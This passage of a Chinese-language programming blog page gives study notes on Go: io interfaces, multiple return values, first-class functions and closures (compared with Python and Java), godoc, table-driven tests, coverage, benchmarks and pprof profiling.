class="hljs-comment">// Read reads up to len(p) bytes into p. It returns the number of bytes</span><br><span class="hljs-comment">// read (0 <= n <= len(p)) and any error encountered. Even if Read</span><br><span class="hljs-comment">// returns n < len(p), it may use all of p as scratch space during the call.</span><br><span class="hljs-comment">// If some data is available but not len(p) bytes, Read conventionally</span><br><span class="hljs-comment">// returns what is available instead of waiting for more.</span><br><span class="hljs-comment">//</span><br><span class="hljs-comment">// When Read encounters an error or end-of-file condition after</span><br><span class="hljs-comment">// successfully reading n > 0 bytes, it returns the number of</span><br><span class="hljs-comment">// bytes read. It may return the (non-nil) error from the same call</span><br><span class="hljs-comment">// or return the error (and n == 0) from a subsequent call.</span><br><span class="hljs-comment">// An instance of this general case is that a Reader returning</span><br><span class="hljs-comment">// a non-zero number of bytes at the end of the input stream may</span><br><span class="hljs-comment">// return either err == EOF or err == nil. The next Read should</span><br><span class="hljs-comment">// return 0, EOF.</span><br><span class="hljs-comment">//</span><br><span class="hljs-comment">// Callers should always process the n > 0 bytes returned before</span><br><span class="hljs-comment">// considering the error err. Doing so correctly handles I/O errors</span><br><span class="hljs-comment">// that happen after reading some bytes and also both of the</span><br><span class="hljs-comment">// allowed EOF behaviors.</span><br><span class="hljs-comment">//</span><br><span class="hljs-comment">// Implementations of Read are discouraged from returning a</span><br><span class="hljs-comment">// zero byte count with a nil error, except when len(p) == 0.</span><br><span class="hljs-comment">// Callers should treat a return of 0 and nil as indicating that</span><br><span class="hljs-comment">// nothing happened; in particular it does not indicate EOF.</span><br><span class="hljs-comment">//</span><br><span class="hljs-comment">// Implementations must not retain p.</span><br><span class="hljs-keyword">type</span> Reader <span class="hljs-keyword">interface</span> {<br> Read(p []<span class="hljs-keyword">byte</span>) (n <span class="hljs-keyword">int</span>, err error)<br>}<br><br><span class="hljs-comment">// Writer is the interface that wraps the basic Write method.</span><br><span class="hljs-comment">//</span><br><span class="hljs-comment">// Write writes len(p) bytes from p to the underlying data stream.</span><br><span class="hljs-comment">// It returns the number of bytes written from p (0 <= n <= len(p))</span><br><span class="hljs-comment">// and any error encountered that caused the write to stop early.</span><br><span class="hljs-comment">// Write must return a non-nil error if it returns n < len(p).</span><br><span class="hljs-comment">// Write must not modify the slice data, even temporarily.</span><br><span class="hljs-comment">//</span><br><span class="hljs-comment">// Implementations must not retain p.</span><br><span class="hljs-keyword">type</span> Writer <span class="hljs-keyword">interface</span> {<br> Write(p []<span class="hljs-keyword">byte</span>) (n <span class="hljs-keyword">int</span>, err error)<br>}<br><br><span class="hljs-comment">// ReadWriter is the interface that groups the basic Read and Write methods.</span><br><span class="hljs-keyword">type</span> ReadWriter <span class="hljs-keyword">interface</span> {<br> Reader<br> Writer<br>}<br></code></pre></td></tr></table></figure>
<h3 id="函数">函数</h3>
<ul>
<li>函数可以有多个返回值,并且这些返回值可以起别名(别名多用于简单函数),别名与调用者的申明变量并无关联</li>
</ul>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-keyword">package</span> main<br><br><span class="hljs-keyword">import</span> <span class="hljs-string">"fmt"</span><br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">eval</span><span class="hljs-params">(a, b <span class="hljs-keyword">int</span>, op <span class="hljs-keyword">string</span>)</span> <span class="hljs-params">(<span class="hljs-keyword">int</span>, error)</span></span> {<br> <span class="hljs-keyword">switch</span> op {<br> <span class="hljs-keyword">case</span> <span class="hljs-string">"+"</span>:<br> <span class="hljs-keyword">return</span> a + b, <span class="hljs-literal">nil</span><br> <span class="hljs-keyword">case</span> <span class="hljs-string">"-"</span>:<br> <span class="hljs-keyword">return</span> a - b, <span class="hljs-literal">nil</span><br> <span class="hljs-keyword">case</span> <span class="hljs-string">"*"</span>:<br> <span class="hljs-keyword">return</span> a * b, <span class="hljs-literal">nil</span><br> <span class="hljs-keyword">case</span> <span class="hljs-string">"/"</span>:<br> r, _ := div(a, b)<br> <span class="hljs-keyword">return</span> r, <span class="hljs-literal">nil</span><br> <span class="hljs-keyword">default</span>:<br> <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>, fmt.Errorf(<span class="hljs-string">"unsupported operation"</span>)<br> }<br>}<br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">div</span><span class="hljs-params">(a, b <span class="hljs-keyword">int</span>)</span> <span class="hljs-params">(q, r <span class="hljs-keyword">int</span>)</span></span> {<br> <span class="hljs-keyword">return</span> a/b, a%b<br>}<br></code></pre></td></tr></table></figure>
<ul>
<li><em>一等公民</em> :变量、参数、返回值均可以是函数</li>
</ul>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-keyword">package</span> main<br><br><span class="hljs-keyword">import</span> (<br> <span class="hljs-string">"fmt"</span><br> <span class="hljs-string">"math"</span><br> <span class="hljs-string">"reflect"</span><br> <span class="hljs-string">"runtime"</span><br>)<br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">apply</span><span class="hljs-params">(op <span class="hljs-keyword">func</span>(<span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span>)</span> <span class="hljs-title">float64</span>, <span class="hljs-title">a</span>, <span class="hljs-title">b</span> <span class="hljs-title">int</span>) <span class="hljs-title">float64</span></span> {<br> <span class="hljs-comment">//</span><br> p := reflect.ValueOf(op).Pointer()<br> opName := runtime.FuncForPC(p).Name()<br> fmt.Printf(<span class="hljs-string">"Calling function %s with params (%d, %d)\n"</span>, opName, a, b)<br> <span class="hljs-keyword">return</span> op(<span class="hljs-keyword">int</span>(a), <span class="hljs-keyword">int</span>(b))<br>}<br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">pow</span><span class="hljs-params">(a, b <span class="hljs-keyword">int</span>)</span> <span class="hljs-title">float64</span></span> {<br> <span class="hljs-keyword">return</span> math.Pow(<span class="hljs-keyword">float64</span>(a), <span class="hljs-keyword">float64</span>(b))<br>}<br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span> {<br> fmt.Println(apply(pow, <span class="hljs-number">3</span>, <span class="hljs-number">4</span>))<br><br> <span class="hljs-comment">// 匿名函数方式</span><br> fmt.Println(apply(<span class="hljs-function"><span class="hljs-keyword">func</span><span class="hljs-params">(f, f2 <span class="hljs-keyword">int</span>)</span> <span class="hljs-title">float64</span></span> {<br> <span class="hljs-keyword">return</span> math.Pow(<span class="hljs-keyword">float64</span>(f), <span class="hljs-keyword">float64</span>(f2))<br> }, <span class="hljs-number">3</span>, <span class="hljs-number">4</span>))<br>}<br><br><span class="hljs-comment">// 打印结果</span><br>Calling function main.pow with params (<span class="hljs-number">3</span>, <span class="hljs-number">4</span>)<br><span class="hljs-number">81</span><br>Calling function main.main.func1 with params (<span class="hljs-number">3</span>, <span class="hljs-number">4</span>)<br><span class="hljs-number">81</span><br></code></pre></td></tr></table></figure>
<ul>
<li>可变参数列表,类似于Python中的*args</li>
</ul>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">sum</span><span class="hljs-params">(nums ...<span class="hljs-keyword">int</span>)</span> <span class="hljs-title">int</span></span> {<br> <span class="hljs-comment">// 函数可变参数列表</span><br> sum := <span class="hljs-number">0</span><br> <span class="hljs-keyword">for</span> i := <span class="hljs-keyword">range</span> nums {<br> sum += nums[i]<br> }<br> <span class="hljs-keyword">return</span> sum<br>}<br></code></pre></td></tr></table></figure>
<p>https://github.com/weitrue/note/blob/master/go/functions/func.go</p>
<h4 id="闭包">闭包</h4>
<p><img src="/images/golang/func.png" srcset="/img/loading.gif" lazyload></p>
<p>其中,<code>func(i int)</code>中<code>i</code>为局部变量,<code>sum</code>为自由变量</p>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">adder</span><span class="hljs-params">()</span> <span class="hljs-title">func</span><span class="hljs-params">(<span class="hljs-keyword">int</span>)</span> <span class="hljs-title">int</span></span> {<br> sum := <span class="hljs-number">0</span><br> <span class="hljs-keyword">return</span> <span class="hljs-function"><span class="hljs-keyword">func</span><span class="hljs-params">(i <span class="hljs-keyword">int</span>)</span> <span class="hljs-title">int</span></span> {<br> sum += i<br> <span class="hljs-keyword">return</span> sum<br> }<br>}<br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">TestAdder</span><span class="hljs-params">()</span></span> {<br> a := adder()<br> <span class="hljs-keyword">for</span> i := <span class="hljs-number">0</span>; i < <span class="hljs-number">10</span> ; i++ {<br> fmt.Printf(<span class="hljs-string">"0 + ... + %d = %d \n"</span>, i, a(i))<br> }<br>}<br><br><span class="hljs-comment">// 输出</span><br><span class="hljs-number">0</span> + ... + <span class="hljs-number">0</span> = <span class="hljs-number">0</span> <br><span class="hljs-number">0</span> + ... + <span class="hljs-number">1</span> = <span class="hljs-number">1</span> <br><span class="hljs-number">0</span> + ... + <span class="hljs-number">2</span> = <span class="hljs-number">3</span> <br><span class="hljs-number">0</span> + ... + <span class="hljs-number">3</span> = <span class="hljs-number">6</span> <br><span class="hljs-number">0</span> + ... + <span class="hljs-number">4</span> = <span class="hljs-number">10</span> <br><span class="hljs-number">0</span> + ... + <span class="hljs-number">5</span> = <span class="hljs-number">15</span> <br><span class="hljs-number">0</span> + ... + <span class="hljs-number">6</span> = <span class="hljs-number">21</span> <br><span class="hljs-number">0</span> + ... + <span class="hljs-number">7</span> = <span class="hljs-number">28</span> <br><span class="hljs-number">0</span> + ... + <span class="hljs-number">8</span> = <span class="hljs-number">36</span> <br><span class="hljs-number">0</span> + ... + <span class="hljs-number">9</span> = <span class="hljs-number">45</span> <br><br><br><span class="hljs-comment">// 正统函数式编程</span><br><span class="hljs-keyword">type</span> iAdder <span class="hljs-function"><span class="hljs-keyword">func</span><span class="hljs-params">(<span class="hljs-keyword">int</span>)</span> <span class="hljs-params">(<span class="hljs-keyword">int</span>, iAdder)</span></span><br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">iAdd</span><span class="hljs-params">(base <span class="hljs-keyword">int</span>)</span> <span class="hljs-title">iAdder</span></span> {<br> <span class="hljs-keyword">return</span> <span class="hljs-function"><span class="hljs-keyword">func</span><span class="hljs-params">(v <span class="hljs-keyword">int</span>)</span> <span class="hljs-params">(<span class="hljs-keyword">int</span>, iAdder)</span></span> {<br> <span class="hljs-keyword">return</span> base +v, iAdd(base+v)<br> }<br>}<br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">TestAdder</span><span class="hljs-params">()</span></span> {<br> a2 := iAdd(<span class="hljs-number">0</span>)<br> <span class="hljs-keyword">var</span> s <span class="hljs-keyword">int</span><br> <span class="hljs-keyword">for</span> i := <span class="hljs-number">1</span>; i <<span class="hljs-number">10</span>; i++ {<br> s, a2 = a2(i)<br> fmt.Printf(<span class="hljs-string">"0 + ... + %d = %d \n"</span>, i, s)<br> }<br>}<br><br><span class="hljs-comment">// 输出</span><br><span class="hljs-number">0</span> + ... + <span class="hljs-number">1</span> = <span class="hljs-number">1</span> <br><span class="hljs-number">0</span> + ... + <span class="hljs-number">2</span> = <span class="hljs-number">3</span> <br><span class="hljs-number">0</span> + ... + <span class="hljs-number">3</span> = <span class="hljs-number">6</span> <br><span class="hljs-number">0</span> + ... + <span class="hljs-number">4</span> = <span class="hljs-number">10</span> <br><span class="hljs-number">0</span> + ... + <span class="hljs-number">5</span> = <span class="hljs-number">15</span> <br><span class="hljs-number">0</span> + ... + <span class="hljs-number">6</span> = <span class="hljs-number">21</span> <br><span class="hljs-number">0</span> + ... + <span class="hljs-number">7</span> = <span class="hljs-number">28</span> <br><span class="hljs-number">0</span> + ... + <span class="hljs-number">8</span> = <span class="hljs-number">36</span> <br><span class="hljs-number">0</span> + ... + <span class="hljs-number">9</span> = <span class="hljs-number">45</span> <br></code></pre></td></tr></table></figure>
<p>https://github.com/weitrue/note/blob/master/go/functions/closure.go</p>
<h5 id="python中的闭包">Python中的闭包</h5>
<p>Python原生支持闭包</p>
<p><code>__closure__</code>可以查看闭包内容</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><code class="hljs Python"><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">adder</span>():</span><br> s = <span class="hljs-number">0</span><br><br> <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">f</span>(<span class="hljs-params">v: <span class="hljs-built_in">int</span></span>):</span><br> <span class="hljs-keyword">nonlocal</span> s<br> s += v<br> <span class="hljs-keyword">return</span> s<br><br> <span class="hljs-keyword">return</span> f<br><br><br><span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">"__main__"</span>:<br><br> a = adder()<br> <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">10</span>):<br> <span class="hljs-built_in">print</span>(i, a(i), a.__closure__)<br> <br><span class="hljs-comment"># 输出</span><br><span class="hljs-number">0</span> <span class="hljs-number">0</span> (<cell at <span class="hljs-number">0x7f9048e7d3d0</span>: <span class="hljs-built_in">int</span> <span class="hljs-built_in">object</span> at <span class="hljs-number">0x106eb6290</span>>,)<br><span class="hljs-number">1</span> <span class="hljs-number">1</span> (<cell at <span class="hljs-number">0x7f9048e7d3d0</span>: <span class="hljs-built_in">int</span> <span class="hljs-built_in">object</span> at <span class="hljs-number">0x106eb62b0</span>>,)<br><span class="hljs-number">2</span> <span class="hljs-number">3</span> (<cell at <span class="hljs-number">0x7f9048e7d3d0</span>: <span class="hljs-built_in">int</span> <span class="hljs-built_in">object</span> at <span class="hljs-number">0x106eb62f0</span>>,)<br><span class="hljs-number">3</span> <span class="hljs-number">6</span> (<cell at <span class="hljs-number">0x7f9048e7d3d0</span>: <span class="hljs-built_in">int</span> <span class="hljs-built_in">object</span> at <span class="hljs-number">0x106eb6350</span>>,)<br><span class="hljs-number">4</span> <span class="hljs-number">10</span> (<cell at <span class="hljs-number">0x7f9048e7d3d0</span>: <span class="hljs-built_in">int</span> <span class="hljs-built_in">object</span> at <span class="hljs-number">0x106eb63d0</span>>,)<br><span class="hljs-number">5</span> <span class="hljs-number">15</span> (<cell at <span class="hljs-number">0x7f9048e7d3d0</span>: <span class="hljs-built_in">int</span> <span class="hljs-built_in">object</span> at <span class="hljs-number">0x106eb6470</span>>,)<br><span class="hljs-number">6</span> <span class="hljs-number">21</span> (<cell at <span class="hljs-number">0x7f9048e7d3d0</span>: <span class="hljs-built_in">int</span> <span class="hljs-built_in">object</span> at <span class="hljs-number">0x106eb6530</span>>,)<br><span class="hljs-number">7</span> <span class="hljs-number">28</span> (<cell at <span class="hljs-number">0x7f9048e7d3d0</span>: <span class="hljs-built_in">int</span> <span class="hljs-built_in">object</span> at <span class="hljs-number">0x106eb6610</span>>,)<br><span class="hljs-number">8</span> <span class="hljs-number">36</span> (<cell at <span class="hljs-number">0x7f9048e7d3d0</span>: <span class="hljs-built_in">int</span> <span class="hljs-built_in">object</span> at <span class="hljs-number">0x106eb6710</span>>,)<br><span class="hljs-number">9</span> <span class="hljs-number">45</span> (<cell at <span class="hljs-number">0x7f9048e7d3d0</span>: <span class="hljs-built_in">int</span> <span class="hljs-built_in">object</span> at <span class="hljs-number">0x106eb6830</span>>,)<br></code></pre></td></tr></table></figure>
<h5 id="java中的闭包">Java中的闭包</h5>
<p>1.8以后,可以使用Function接口和Lambda表达式可以创建函数对象;</p>
<p>1.8之前,可以使用Lambda表达式或者匿名内部类也可以实现闭包;</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><code class="hljs Java"><span class="hljs-keyword">import</span> javax.xml.ws.Holder;<br><span class="hljs-keyword">import</span> java.util.function.Function;<br><br><span class="hljs-keyword">public</span> <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">MyTest</span> </span>{<br><br> <span class="hljs-keyword">final</span> Holder<Integer> sum = <span class="hljs-keyword">new</span> Holder<>(<span class="hljs-number">0</span>);<br><br> <span class="hljs-keyword">public</span> Function<Integer, Integer>testClosure(){<br> <span class="hljs-comment">// 闭包 使用Function接口和Lambda表达式可以创建函数对象</span><br> <span class="hljs-keyword">return</span> (Integer value) -> {<br> sum.value += value;<br> <span class="hljs-keyword">return</span> sum.value;<br> };<br> }<br><br> <span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> <span class="hljs-title">main</span><span class="hljs-params">(String[] args)</span> </span>{<br> MyTest mt = <span class="hljs-keyword">new</span> MyTest();<br> <span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> i=<span class="hljs-number">0</span>; i < <span class="hljs-number">10</span>; i++) {<br> System.out.println(i +<span class="hljs-string">", "</span>+ mt.testClosure().apply(<span class="hljs-keyword">new</span> Integer(i)));<br> }<br> }<br>}<br></code></pre></td></tr></table></figure>
<h4 id="闭包应用">闭包应用</h4>
<h6 id="为函数实现接口">为函数实现接口</h6>
<h6 id="实现函数遍历二叉树">实现函数遍历二叉树</h6>
<h6 id="单例模式限制流量模式">单例模式,限制流量模式</h6>
<h3 id="文档">文档</h3>
<p><code>godoc -http :6060</code>,生成网页文档</p>
<p><img src="/images/golang/doc.jpg" srcset="/img/loading.gif" lazyload></p>
<p><img src="/images/golang/doc1.jpg" srcset="/img/loading.gif" lazyload></p>
<p><code>go doc 方法名(包括包名)</code>,查看方法注释</p>
<p><img src="/images/golang/doc2.jpg" srcset="/img/loading.gif" lazyload></p>
<p><code>xxx_test.go</code>生成示例</p>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">ExampleQueue_Pop</span><span class="hljs-params">()</span></span> {<br> q := Queue{}<br> _ = q.Push(<span class="hljs-string">"asd"</span>)<br> _ = q.Push(<span class="hljs-number">123</span>)<br> <span class="hljs-keyword">if</span> v, ok := q.Pop(); ok {<br> fmt.Println(v)<br> }<br> <span class="hljs-keyword">if</span> v, ok := q.Pop(); ok {<br> fmt.Println(v)<br> }<br><br> <span class="hljs-comment">//Output:</span><br> <span class="hljs-comment">//asd</span><br> <span class="hljs-comment">//123</span><br>}<br></code></pre></td></tr></table></figure>
<p><img src="/images/golang/doc_output.jpg" srcset="/img/loading.gif" lazyload></p>
<h3 id="测试">测试</h3>
<p><em>表格驱动</em>测试</p>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">TestMaxNoRepeatedZhn</span><span class="hljs-params">(t *testing.T)</span></span> {<br> tests := []<span class="hljs-keyword">struct</span>{<br> s <span class="hljs-keyword">string</span><br> ans <span class="hljs-keyword">int</span><br> }{<br> {<span class="hljs-string">"a"</span>, <span class="hljs-number">1</span>},<br> {<span class="hljs-string">"yes, 我爱gogogo"</span>, <span class="hljs-number">9</span>},<br> {<span class="hljs-string">"abcadcb"</span>, <span class="hljs-number">4</span>},<br> {<span class="hljs-string">"黑化肥挥发发灰会花飞灰化肥挥发发黑会飞花"</span>, <span class="hljs-number">8</span>},<br> }<br><br> <span class="hljs-keyword">for</span> _, tt := <span class="hljs-keyword">range</span> tests {<br> act := MaxNoRepeatedZhn(tt.s)<br> <span class="hljs-keyword">if</span> act != tt.ans {<br> t.Errorf(<span class="hljs-string">"get %d for input %s , but expect %d"</span>, act, tt.s, tt.ans)<br> }<br> }<br>}<br><br><span class="hljs-comment">// 输出</span><br>=== RUN TestMaxNoRepeatedZhn<br>--- PASS: TestMaxNoRepeatedZhn (<span class="hljs-number">0.00</span>s)<br>PASS<br></code></pre></td></tr></table></figure>
<h4 id="覆盖测试">覆盖测试</h4>
<p><code>go tool cover</code></p>
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><code class="hljs shell">Usage of 'go tool cover':<br>Given a coverage profile produced by 'go test':<br> go test -coverprofile=c.out<br><br>Open a web browser displaying annotated source code:<br> go tool cover -html=c.out # 常用<br><br>Write out an HTML file instead of launching a web browser:<br> go tool cover -html=c.out -o coverage.html<br><br>Display coverage percentages to stdout for each function:<br> go tool cover -func=c.out<br><br>Finally, to generate modified source code with coverage annotations<br>(what go test -cover does):<br> go tool cover -mode=set -var=CoverageVariableName program.go<br><br>Flags:<br> -V print version and exit<br> -func string<br> output coverage profile information for each function<br> -html string<br> generate HTML representation of coverage profile<br> -mode string<br> coverage mode: set, count, atomic<br> -o string<br> file for output; default: stdout<br> -var string<br> name of coverage variable to generate (default "GoCover")<br><br> Only one of -html, -func, or -mode may be set.<br></code></pre></td></tr></table></figure>
<h4 id="benchmark"><code>Benchmark</code></h4>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">BenchmarkMaxNoRepeatedZhn</span><span class="hljs-params">(b *testing.B)</span></span> {<br> s := <span class="hljs-string">"黑化肥挥发发灰会花飞灰化肥挥发发黑会飞花"</span><br> ans := <span class="hljs-number">8</span><br><br> <span class="hljs-keyword">for</span> i := <span class="hljs-number">0</span>; i < b.N; i++ {<br> act := MaxNoRepeatedZhn(s)<br> <span class="hljs-keyword">if</span> act != ans {<br> b.Errorf(<span class="hljs-string">"get %d for input %s , but expect %d"</span>, act, s, ans)<br> }<br> }<br>}<br><br><br><span class="hljs-comment">// 输出</span><br>goos: darwin<br>goarch: amd64<br>pkg: offer/note/collections<br>BenchmarkMaxNoRepeatedZhn<br>BenchmarkMaxNoRepeatedZhn<span class="hljs-number">-8</span> <span class="hljs-number">1097594</span> <span class="hljs-number">1024</span> ns/op<br>PASS<br></code></pre></td></tr></table></figure>
<p>https://github.com/weitrue/note/collections/strings_test.go</p>
<h4 id="pprof性能测试">pprof性能测试</h4>
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><code class="hljs shell">xxx@xxxdeMacBook-Pro ~/Projects/golang/src/offer/note/collections master ±✚ go test -bench . -cpuprofile cpu.out<br>goos: darwin<br>goarch: amd64<br>pkg: offer/note/collections<br>BenchmarkMaxNoRepeatedZhn-8 1286594 934 ns/op<br>PASS<br>ok offer/note/collections 2.656s<br>xxx@xxxdeMacBook-Pro ~/Projects/golang/src/offer/note/collections master ±✚ go tool pprof cpu.out <br>Type: cpu<br>Time: Mar 2, 2021 at 6:03pm (CST)<br>Duration: 2.34s, Total samples = 2.05s (87.57%)<br>Entering interactive mode (type "help" for commands, "o" for options)<br>(pprof) web<br>failed to execute dot. Is Graphviz installed? Error: exec: "dot": executable file not found in $PATH<br>(pprof) <br></code></pre></td></tr></table></figure>
<p>☞<code>failed to execute dot. Is Graphviz installed? Error: exec: "dot": executable file not found in $PATH</code>是因为电脑未安装生成.svg文件的工具<code>Graphviz</code></p>
<h5 id="安装graphviz">安装<code>Graphviz</code></h5>
